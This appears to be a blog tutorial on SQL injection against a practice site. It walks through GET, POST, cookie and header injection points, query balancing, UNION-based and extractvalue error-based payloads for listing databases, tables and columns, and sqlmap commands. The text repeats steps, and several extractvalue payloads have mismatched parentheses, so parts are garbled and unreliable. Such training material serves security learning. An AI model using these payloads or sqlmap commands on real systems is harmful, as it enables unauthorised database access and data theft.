SQL injection Manual method & automation method of Exploitation:
SQL injection Manual method & automation method of Exploitation:
SQL-Injection:
Finding the injection point.
Finding the query vulnerability.{ ', " , \ , ') , ") }
Fixing & balancing the query.
Exploiting the database.
SQL-Injection:
Finding the injection point.
Finding the query vulnerability.{ ', " , \ , ') , ") }
Fixing & balancing the query.
Exploiting the database.
Injection point:
GET
POST
COOKIES
HEADER
GET Method:
Attacker use to attack using URL parameter.
Step 1: Identify the injection point.
Step 1: Identify the injection point.
Step 2: Balance the query. (--+ used to balance the query)
Step 3: Identify the number of col in given table (order by using n-1).
Step 4: Identify the vulnerable col. (using union all select 1,2,3)
Step 5: Exploitation of database.
1. How to identify the database name,table name, col data in Get based SQLI Manual method?
Step 1: Identify the injection point.
Step 2: Balance the query. (--+ used to balance the query)
Step 3: Identify the number of col in given table (order by using n-1).
Step 4: Identify the vulnerable col. (using union all select 1,2,3)
Step 5: To identify the current database name:
use the database() in the vul col.
1) To identify all the databases in the given table.
Using the schema_name function we can identify the database name present on the table.
EX: select GROUP_CONCAT(schema_name SEPARATOR',') From information_schema.schemata
output: leettime_761wHole
2)To identify all tables in the database
Using TABLE_NAME function we can identify all the tables in a particular database.
Syntax:
select GROUP_CONCAT(TABLE_NAME SEPARATOR',')FROM information_schema.tables where table_schema = "DATABASE_NAME"
EX: select GROUP_CONCAT(TABLE_NAME SEPARATOR',')FROM information_schema.tables where table_schema = "leettime_761wHole"
3)To identify all the col in the given all table in the database
Syntax:
select GROUP_CONCAT(column_name SEPARATOR',')from information_schema.columns where table_schema = "DATABASE_NAME"
EX: select GROUP_CONCAT(column_name SEPARATOR',')from information_schema.columns where table_schema = "leettime_761wHole"
How to identify the database name,table name, col data in Get based SQLI Manual method?
CMD:
Extracting tables:
sqlmap -u http://www.leettime.net/sqlninja.com/tasks/deathrow_ch3.php?id=1 -D “particular_DB_NAME” --tables
Extracting database:
Extracting col:
sqlmap -u http://www.leettime.net/sqlninja.com/tasks/deathrow_ch3.php?id=1 -D “particular_DB_NAME” --columns
Double Query situation:
"order by" work by union operation not work.
How to extract the data in database in double query situation?
1) To identify all the databases in the given table.
Using the schema_name function we can identify the database name present on the table.
EX: extractvalue(0x0a,(select GROUP_CONCAT(schema_name SEPARATOR',') From information_schema.schemata))
output: leettime_761wHole
2)To identify all tables in the database
Using TABLE_NAME function we can identify all the tables in a particular database.
Syntax:
extractvalue(0x0a,select GROUP_CONCAT(TABLE_NAME SEPARATOR',')FROM information_schema.tables where table_schema = "DATABASE_NAME" ))
EX: select GROUP_CONCAT(TABLE_NAME SEPARATOR',')FROM information_schema.tables where table_schema = "leettime_761wHole"
3)To identify all the col in the given all table in the database
Syntax:
extractvalue(0x0a,select GROUP_CONCAT(column_name SEPARATOR',')from information_schema.columns where table_schema = "DATABASE_NAME"))
EX:extractvalue(0x0a, select GROUP_CONCAT(column_name SEPARATOR',')from information_schema.columns where table_schema = "leettime_761wHole"))
What is XPATH & how to retrieve the data in xpath ?
Using extractValue() function we can extract the data in a double query situation.
- MySQL
extractValuefunction retrieves data from an attribute that contains XML data - first argument is the attribute name, e.g.,
doc - second argument is an XPath expression enclosed in single quotes
- e.g.
select extractValue(doc,'/book/title') as Title from x;
POST Method:
Attacker use any html form that execute sql query .
Step 1: Identify the injection point.
Step 1: Identify the injection point.
Step 2: Balance the query. (-- used to balance the query)
Step 3: Identify the number of col in given table (order by using n-1).
Step 4: Identify the vulnerable col. (using union all select 1,2,3)
Step 5: Exploitation of database.
COOKIE Method:
Attacker has to find the cookie parameter .
Step 1: Identify the injection point using "\".
Step 1: Identify the injection point using "\".
Step 2: Balance the query. (-- or { #} used to balance the query)
Step 3: Identify the number of col in given table (order by using n-1).
Step 4: Identify the vulnerable col. (using union all select 1,2,3)
Step 5: Exploitation of database.
HEADER Method:
Attacker has to find the Header parameter.such as user-agent | referrer | User-agent | Location | Host
Step 1: Identify the injection point.
Step 1: Identify the injection point.
Step 2: Balance the query. (--+ used to balance the query)
Step 3: Identify the number of col in given table (order by using n-1).
Step 4: Identify the vulnerable col. (using union all select 1,2,3)
Step 5: Exploitation of database.
Comments
Post a Comment